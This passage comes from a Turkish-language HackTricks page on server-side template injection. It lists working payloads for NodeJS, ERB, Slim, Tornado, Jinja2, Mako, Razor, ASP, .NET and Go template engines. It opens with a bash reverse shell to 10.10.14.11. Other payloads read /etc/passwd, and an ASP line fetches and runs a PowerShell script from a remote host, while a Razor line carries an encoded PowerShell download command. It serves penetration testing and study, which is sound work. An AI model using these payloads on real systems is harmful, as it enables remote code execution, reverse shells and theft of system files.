"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Daha fazla bilgi
NodeJS ifade sandbox’ları (vm2 / isolated-vm)
Bazı workflow oluşturucuları, kullanıcı kontrollü ifadeleri Node sandbox’ları içinde değerlendirir (vm2, isolated-vm), ancak ifade bağlamı hâlâ this.process.mainModule.require’i açığa çıkarır. Bu, saldırganın child_process’u yükleyip özel “Execute Command” düğümleri devre dışı olsa bile işletim sistemi komutlarını çalıştırmasına izin verir:
={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Diğer NodeJS
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- Daha fazla bilgi için https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Daha fazla bilgi
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Daha fazla bilgi
Diğer Ruby
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Daha fazla bilgi: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
Aşağıdaki sayfaya göz atın; Python’da arbitrary command execution bypassing sandboxes ile ilgili püf noktalarını öğrenmek için:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Daha fazla bilgi
Jinja2 (Python)
Jinja2, Python için tam özellikli bir şablon motorudur. Tam Unicode desteğine sahiptir, isteğe bağlı entegre edilmiş izole (sandbox) bir yürütme ortamı sunar, yaygın olarak kullanılır ve BSD lisanslıdır.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Şablon formatı
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE not dependant from __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Jinja’yı kötüye kullanmaya dair daha fazla detay:
Diğer payloads şurada https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Daha fazla bilgi
Diğer Python
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- Daha fazla bilgi: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABAMAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. Bir vulnerable webapp örneğini şu adreste bulabilirsiniz: https://github.com/cnotin/RazorVulnerableApp
Daha fazla bilgi
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nothing<%= response.write(date()) %>= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Daha Fazla Bilgi
.Net Kısıtlamaların Aşılması
.NET Reflection mekanizmaları, blacklisting’i aşmak veya assembly içinde sınıfların bulunmaması durumunu atlatmak için kullanılabilir. DLL’ler çalışma zamanında yüklenebilir ve temel nesnelerden erişilebilen yöntemler ve özellikler aracılığıyla kullanılabilir.
DLL’ler şu yöntemlerle yüklenebilir:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- dosya sisteminden.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- doğrudan istekten.
Tam komut çalıştırma:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Daha Fazla Bilgi
Mojolicious (Perl)
perl olsa bile Ruby’deki ERB gibi tag’ler kullanır.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
Go’nun template motorunda, kullanımının doğrulanması belirli payload’larla yapılabilir:
{{ . }}: Veri yapısına gönderilen girdiyi gösterir. Örneğin,Passwordözniteliğine sahip bir obje iletilirse,{{ .Password }}bunu açığa çıkarabilir.{{printf "%s" "ssti" }}: “ssti” string’inin görüntülenmesi beklenir.{{html "ssti"}},{{js "ssti"}}: Bu payload’lar “ssti” döndürmeli, “html” veya “js” eklememelidir. Daha fazla direktif Go dokümantasyonunda here incelenebilir.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
text/template paketi ile, payload doğrudan eklenerek XSS kolayca gerçekleştirilebilir. Buna karşılık, html/template paketi bunu önlemek için yanıtı encode eder (ör., {{"<script>alert(1)</script>"}} <script>alert(1)</script> sonucunu verir). Bununla birlikte, Go’da template tanımlama ve çağırma bu encode işleminden kaçınabilir: {{define “T1”}}alert(1){{end}} {{template “T1”}}
vbnet Copy code
RCE Exploitation
RCE exploitation, html/template ile text/template arasında önemli ölçüde farklılık gösterir. text/template modülü herhangi bir public fonksiyonu doğrudan çağırmaya izin verir (“call” value kullanılarak), bu html/template’de izinli değildir. Bu modüller için dokümantasyon here for html/template ve here for text/template adreslerinde mevcuttur.
Go’da SSTI aracılığıyla RCE için, nesne metotları çağrılabilir. Örneğin, sağlanan nesnede komut çalıştıran bir System metodu varsa, {{ .System "ls" }} gibi istismar edilebilir. Bunu istismar etmek genellikle kaynak koda erişim gerektirir; örnekte olduğu gibi:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Daha fazla bilgi
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS Ön işlemcisi)
LESS, değişkenler, mixin’ler, fonksiyonlar ve güçlü @import yönergesini ekleyen popüler bir CSS ön işlemcisidir. Derleme sırasında LESS motoru, (inline) seçeneği kullanıldığında @import ifadelerinde referans verilen kaynakları getirir ve bunların içeriklerini sonuç CSS’e gömer (“inline”).
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
More Exploits
Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Related Help
If you think it could be useful, read:
Tools
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Detection List
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Referanslar
- Node expression sandbox escape via
process.mainModule.require(n8n PoC) - https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)
- XWiki advisory –
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


